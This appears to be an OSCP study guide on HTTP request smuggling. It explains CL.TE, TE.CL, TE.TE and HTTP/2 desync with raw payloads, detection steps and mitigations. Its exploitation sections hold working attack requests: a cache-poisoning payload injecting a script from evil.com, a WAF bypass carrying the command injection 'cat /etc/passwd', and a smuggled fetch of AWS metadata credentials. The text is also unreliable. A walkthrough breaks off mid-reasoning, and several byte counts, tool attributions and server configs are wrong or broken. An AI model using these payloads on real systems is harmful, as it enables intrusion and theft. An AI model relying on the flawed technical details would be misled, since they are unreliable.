Domain 2Web App AttacksCORE

HTTP Request Smuggling

Technical deep dive into HTTP request smuggling covering CL.TE, TE.CL, and TE.TE variants with detection methods, exploitation scenarios, and mitigation strategies for OSCP preparation.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#HTTP Smuggling#CL.TE#TE.CL#Desync#Cache Poisoning#OSCP

HTTP Request Smuggling — Technical Deep Dive

1. What Is HTTP Request Smuggling?

HTTP Request Smuggling (HRS) is a class of web vulnerabilities that arise when different HTTP components in the request processing chain interpret the same request differently. The most common scenario involves a frontend (load balancer, reverse proxy, or CDN) and a backend (application server) disagreeing on where the HTTP request body ends.

When the frontend and backend parse the message boundaries differently, an attacker can smuggle a second HTTP request inside the body of the first. This second request is invisible to the frontend but processed by the backend — creating a desynchronization between the two components. Once desynchronized, every subsequent client connection handled by that backend worker is misinterpreted, leading to cross-user request/response leakage, cache poisoning, WAF bypass, and session hijacking.

1.1 Why Does It Happen?

HTTP/1.1 defines two mechanisms for indicating the length of a request body:

Mechanism Header How It Works
Content-Length (CL) Content-Length: <bytes> The body is exactly N bytes long
Transfer-Encoding (TE) Transfer-Encoding: chunked The body is a series of chunks, each prefixed by its hex length, terminated by a zero-length chunk

Per RFC 7230, if both headers are present, Transfer-Encoding takes precedence. The problem is that not all HTTP implementations follow this rule consistently. Some frontends (e.g., older HAProxy, certain Nginx configurations) ignore Transfer-Encoding and use Content-Length, while the backend (e.g., Apache, Tomcat, IIS) follows the RFC and uses Transfer-Encoding. This parsing disagreement is the root cause of HRS.

1.2 The Core Concept: Request Desynchronization

Attacker                          Frontend (Proxy)                    Backend (App Server)
  |                                    |                                    |
  |--- Request 1 (crafted) ---------->|                                    |
  |   CL: 13, TE: chunked             | Reads 13 bytes as body             |
  |   Body: "0\r\n\r\nGET /admin..."  | Request 1 complete                 |
  |                                    |--- Forward 13 bytes ------------->|
  |                                    |                                    | Sees TE: chunked
  |                                    |                                    | Reads "0\r\n\r\n" = end of chunks
  |                                    |                                    | Body is EMPTY
  |                                    |                                    |
  |                                    |--- Request 2 (from User B) ------>|
  |                                    |                                    | STILL reading "GET /admin..." as body!
  |                                    |                                    |
  |                                    |                                    |--- "GET /admin..." processed as Request 1
  |                                    |                                    |--- User B's request processed as Request 2 (garbage)

Once desynchronized, the backend is reading from the wrong position in the TCP stream. Every subsequent connection on that worker gets misinterpreted until the desync is resolved (which may never happen automatically).


2. CL.TE Smuggling (Content-Length → Transfer-Encoding)

2.1 Mechanism

In CL.TE smuggling:

  • The frontend respects Content-Length and ignores Transfer-Encoding
  • The backend respects Transfer-Encoding: chunked and ignores Content-Length (per RFC 7230)

The attacker sends both headers with conflicting values. The frontend reads Content-Length bytes and considers the request complete. The backend interprets the same bytes as chunked data and may terminate the body much earlier, leaving the smuggled request to be processed next.

2.2 Byte-Level Walkthrough

Consider this crafted request:

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

Let’s break down the raw bytes after the blank line (body start):

Position  Byte    Character
0         0x30    '0'
1         0x0D    '\r'
2         0x0A    '\n'
3         0x0D    '\r'
4         0x0A    '\n'
5         0x47    'G'
6         0x45    'E'
7         0x54    'T'
8         0x20    ' '
9         0x2F    '/'
10        0x61    'a'
11        0x64    'd'
12        0x6D    'm'

That’s exactly 13 bytes: 0\r\n\r\nGET/admin

Frontend perspective (CL parser):

  • Content-Length: 13 → read exactly 13 bytes of body
  • Body = 0\r\n\r\nGET/admin
  • Request is complete. Forward to backend.

Backend perspective (TE parser):

  • Transfer-Encoding: chunked → parse as chunked
  • First chunk size = 0 (hex) → zero-length chunk → body is empty
  • The \r\n\r\n after the zero chunk signals end of chunked body
  • Next bytes GET /admin HTTP/1.1... are interpreted as a brand new HTTP request

2.3 The 00 Variant

A common CL.TE payload uses the 00 trick to create a more reliable desync:

POST / HTTP/1.1
Host: target.com
Content-Length: 8
Transfer-Encoding: chunked

0
0
GET /admin HTTP/1.1
Host: target.com
Cookie: smuggled=true

Here, Content-Length: 8 means the frontend reads 0\r\n0\r\n (8 bytes including the trailing CRLFs after the first chunk line). The backend sees two zero-length chunks and terminates the body after the second one, leaving GET /admin... as the smuggled request.

The most reliable CL.TE detection technique:

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0
Cookie: CLTE=injected

Then open a second browser tab and make a normal request. If the response to the second request contains Set-Cookie: CLTE=injected or reflects the injected cookie, CL.TE smuggling is confirmed.


3. TE.CL Smuggling (Transfer-Encoding → Content-Length)

3.1 Mechanism

In TE.CL smuggling, the parsing disagreement is reversed:

  • The frontend respects Transfer-Encoding: chunked
  • The backend respects Content-Length and ignores Transfer-Encoding

This is less common than CL.TE but equally dangerous. The attacker encodes the smuggled request inside a chunk that the frontend consumes as body data, but the backend reads as part of a new request (because it stopped reading at Content-Length bytes).

3.2 Byte-Level Walkthrough

POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

5
POST /
secret HTTP/1.1
Host: target.com
Content-Length: 0

0

Frontend perspective (TE parser):

  • Chunk size = 5 (hex) → read 5 bytes: POST /
  • Wait — the next bytes are \r\nsecret HTTP/1.1...
  • Actually, the 5 bytes after 5\r\n are: P, O, S, T, → POST
  • Then the next chunk size line… this gets complex. Let me use a cleaner example.

A more standard TE.CL payload:

POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

a
GET /admin HTTP/1.1
Host: target.com

0

Frontend (TE parser):

  • Chunk size = a (hex) = 10 bytes
  • Reads 10 bytes: GET /admin (the first 10 bytes of the smuggled request)
  • Then reads the rest as additional chunks
  • The entire smuggled request is consumed as body data

Backend (CL parser):

  • Content-Length: 4 → reads only 4 bytes of body
  • Body = a\r\n + first 2 bytes of GET... = a\r\nGE
  • Request body complete. Next bytes T /admin HTTP/1.1... are a new request

3.3 Detection

POST / HTTP/1.1
Host: target.com
Content-Length: 5
Transfer-Encoding: chunked

5
T=5
Cookie: TECL=injected

0

The T=5 in the chunk body is a timing probe. If the response is delayed by approximately 5 seconds, TE.CL smuggling is likely present. Open a second tab to check for cookie desync.


4. TE.TE Smuggling (Transfer-Encoding → Transfer-Encoding)

4.1 Mechanism

Both frontend and backend respect Transfer-Encoding: chunked, but they parse the chunked encoding differently. This exploits implementation differences in how chunked bodies are handled — particularly around:

  • Whitespace handling before/after chunk sizes
  • Chunk extension parsing (the ; syntax after chunk size)
  • Double chunk-encoding interpretation

4.2 Double Chunk-Encoding Attack

Some proxies decode Transfer-Encoding: chunked once, while others decode it twice:

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: chunked

1a
GET /admin HTTP/1.1
Host: target.com

0
  • Frontend (decodes twice): First decode sees 1a as a chunk size. Second decode re-interprets the decoded body. The double decoding changes how the body boundaries are calculated.
  • Backend (decodes once): Sees 1a (hex = 26 bytes) and reads 26 bytes as the body.

The mismatch in decoding depth creates the smuggling window.

4.3 Whitespace/Extension Exploitation

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

7 ; extension
GET /admin HTTP/1.1
Host: target.com

0

Some implementations strip chunk extensions (; extension), while others treat them as part of the chunk size line, causing parsing divergence.


5. HTTP/2 to HTTP/1.1 Smuggling (h2c)

5.1 The Protocol Mismatch

When a frontend speaks HTTP/2 to the client but translates to HTTP/1.1 for the backend, new smuggling vectors emerge:

  • HTTP/2 has no Content-Length or Transfer-Encoding headers — it uses frame-level length indicators
  • The frontend must convert HTTP/2 frames to HTTP/1.1 when forwarding to the backend
  • If the conversion is flawed, smuggling becomes possible

5.2 h2c Smuggling Attack

Client (HTTP/2)                    Frontend                    Backend (HTTP/1.1)
     |                                 |                              |
     |-- HEADERS frame -------------->|                              |
     |   path: /                       | Converts to HTTP/1.1         |
     |-- DATA frame ----------------->|                              |
     |   (contains smuggled CL/TE)     | Adds CL and TE headers       |
     |                                 |--- Forward as HTTP/1.1 ---->|
     |                                 |                              | Parses differently
     |                                 |                              | Desync occurs

The attacker sends an HTTP/2 request where the DATA frame contains a crafted HTTP/1.1 request with conflicting CL/TE headers. The frontend’s translation layer may add its own headers, creating a mismatch with what the backend expects.

5.3 Detection

Send an HTTP/2 request with a body that contains a smuggled HTTP/1.1 request. Check for:

  • Response timing anomalies
  • Cookie desync in subsequent requests
  • Unexpected status codes (400, 408)

6. Detection Techniques (Comprehensive)

6.1 Response Timing Analysis

Send a CL.TE or TE.CL payload with a timing probe:

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0
T=10

If the response takes ~10 seconds, the backend is likely processing the T=10 parameter, confirming smuggling. Many backend frameworks support a T=<seconds> delay parameter for testing.

Step-by-step:

  1. Tab 1 (Burp): Send the smuggling payload with a unique cookie:

    POST / HTTP/1.1
    Host: target.com
    Content-Length: 6
    Transfer-Encoding: chunked
    
    0
    Cookie: SMUGGLE_TEST_12345
  2. Tab 2 (Browser): Immediately make a normal GET request to the same host.

  3. Check: If Tab 2’s response contains SMUGGLE_TEST_12345 in any header, cookie, or reflected content → smuggling confirmed.

6.3 Status Code Analysis

Response Pattern Likely Meaning
First request: 200, second request: 400 Desync occurred, second request corrupted
First request: 400, second request: 200 with wrong content Backend rejected, frontend forwarded garbage
Both requests: 200 but with swapped content Full desync — responses crossed
First request: 408 (Request Timeout) Backend waiting for more data (desynced)

6.4 Automated Detection Tools

Tool Description
Burp Suite Pro Built-in HRS detection in Scanner (2023+)
Hedley https://github.com/defparam/Hedley — dedicated HRS scanner
smuggler https://github.com/portswigger/smuggler — PortSwigger’s CLI tool
HTTP Request Smuggler (Burp BApp) Extension by James Kettle for manual testing

Using smuggler:

# Auto-detect smuggling detection
python3 smuggler.py -u https://target.com

# Force CL.TE test
python3 smuggler.py -u https://target.com --cl-te

# Force TE.CL test
python3 smuggler.py -u https://target.com --te-cl

7. Exploitation Scenarios

7.1 Cache Poisoning

Goal: Inject malicious content into a shared reverse proxy cache (e.g., Varnish, Squid, CDN).

Attack:

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0
GET / HTTP/1.1
Host: target.com
X-Original-URL: /evil

X-Cookie:<script src=https://evil.com/mal.js></script>

The smuggled GET / request includes a malicious header. If the cache key includes this header (or if the backend reflects it in the response), all subsequent users receive the poisoned cached response containing XSS payload.

7.2 Session Hijacking

Goal: Intercept another user’s authenticated response.

Attack Flow:

  1. Send CL.TE payload to desync the backend
  2. Victim connects to the same backend worker
  3. Victim’s request is interpreted as the body of the attacker’s smuggled request
  4. Victim’s response (containing sensitive data, session tokens) is sent to the attacker’s connection instead
Attacker sends CL.TE → Backend desynced
Victim connects → Backend thinks victim's request is body data
Backend sends victim's response → Attacker receives it

7.3 WAF Bypass

Goal: Evade Web Application Firewall by smuggling malicious payloads.

Attack:

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0
POST /api/exec HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

cmd=;cat+/etc/passwd

The WAF (at the frontend) sees a harmless POST / with a short body. The backend receives the actual malicious POST /api/exec request with command injection payload — completely bypassing WAF inspection.

7.4 Account Takeover

Goal: Take over another user’s account by intercepting authentication flows.

Attack:

  1. Desync the backend using CL.TE
  2. Wait for a victim to log in on the same backend worker
  3. The victim’s login response (containing session cookie) is delivered to the attacker
  4. Attacker uses the stolen session cookie to impersonate the victim

7.5 Request Injection for SSRF Amplification

Combine HRS with SSRF to access internal services:

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: target.com

The smuggled request targets the AWS metadata service, which is only accessible from within the VPC. The HRS makes this request appear to originate from the backend server.


8. Burp Suite Testing Techniques

8.1 Manual Testing with Burp Repeater

  1. Send request to Repeater
  2. Add both CL and TE headers with conflicting values
  3. Send and observe the response
  4. Open a second Repeater tab with a normal request to the same host
  5. Compare responses — look for cookie leakage, content swapping, or timing differences

8.2 Using the HTTP Request Smuggler Extension

  1. Install from BApp Store
  2. Right-click any request → “Engagement tools” → “Test for HTTP request smuggling”
  3. The extension automatically tries CL.TE, TE.CL, and TE.TE variants
  4. Results show confirmed smuggling type and suggested exploitation paths

8.3 Burp Collaborator for Blind Detection

For blind smuggling (where you can’t see the smuggled response):

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0
GET http://your-collaborator-id.burpcollaborator.net HTTP/1.1
Host: target.com

If Burp Collaborator receives an interaction, the smuggled request was successfully processed by the backend.


9. Mitigation Strategies

9.1 Server-Side Defenses

Strategy Implementation Priority
Reject dual headers Return 400 if both Content-Length and Transfer-Encoding are present Critical
Consistent parsing Ensure all proxies and servers follow the same RFC interpretation Critical
Disable chunked at proxy Configure frontend to reject or normalize Transfer-Encoding: chunked High
Upgrade components Patch HAProxy, Nginx, Apache, IIS to latest versions High
HTTP/2 consistency Ensure HTTP/2 → HTTP/1.1 translation is correct Medium

9.2 Nginx Configuration

# Reject requests with both CL and TE
if ($http_transfer_encoding ~* chunked) {
    if ($http_content_length != "") {
        return 400;
    }
}

9.3 HAProxy Configuration

# Normalize transfer encoding
http-request del-header Transfer-Encoding if { hdr(Transfer-Encoding) -m found } if { hdr(Content-Length) -m found }

9.4 Apache Configuration

# Disable chunked transfer encoding handling
SecRule REQUEST_HEADERS:Transfer-Encoding "@contains chunked" \
    "id:10001,phase:1,deny,status:400,msg:'Chunked encoding blocked'"

10. OSCP Relevance

10.1 When to Test for HRS

HTTP Request Smuggling is not a primary OSCP topic but can appear as a bonus exploitation path in web application machines. Test for it when:

Scenario Why Test
Behind a reverse proxy / load balancer Parsing mismatch likely between proxy and backend
WAF or security gateway present HRS can bypass WAF rules
Cached responses observed Cache poisoning via HRS is possible
Other web attacks fail HRS may open alternative attack paths
Multiple HTTP components in the stack More components = higher chance of parsing disagreement

10.2 Quick OSCP Testing Checklist

  1. Send request with both Content-Length and Transfer-Encoding: chunked
  2. Check response timing (delayed = potential desync)
  3. Open second tab — check for cookie desync
  4. Try CL.TE first (most common), then TE.CL
  5. If confirmed, try smuggling a GET /admin or GET /etc/passwd request
  6. Document findings with request/response pairs

10.3 Realistic OSCP Impact

On OSCP machines, HRS typically leads to:

  • Information disclosure (accessing admin panels, internal pages)
  • WAF bypass (delivering SQLi, XSS, or command injection payloads)
  • Session interception (rare but possible on shared-hosting scenarios)
  • Cache poisoning (if a reverse proxy cache is present)

It is rarely the primary path to root but can be a critical pivot when combined with other vulnerabilities.


11. Summary Cheat Sheet

Variant Frontend Parses Backend Parses Key Payload Pattern
CL.TE Content-Length Transfer-Encoding CL: 13 + TE: chunked + 0\r\n\r\n + smuggled request
TE.CL Transfer-Encoding Content-Length TE: chunked + chunk containing smuggled request + small CL
TE.TE Transfer-Encoding (double decode) Transfer-Encoding (single decode) Double TE: chunked headers
h2c HTTP/2 frames HTTP/1.1 with added CL/TE HTTP/2 DATA frame containing crafted HTTP/1.1

Detection Priority: Cookie desync test > Timing analysis > Status code patterns > Automated tools

Exploitation Priority: Cache poisoning > WAF bypass > Session hijacking > SSRF amplification > Account takeover


12. References and Further Reading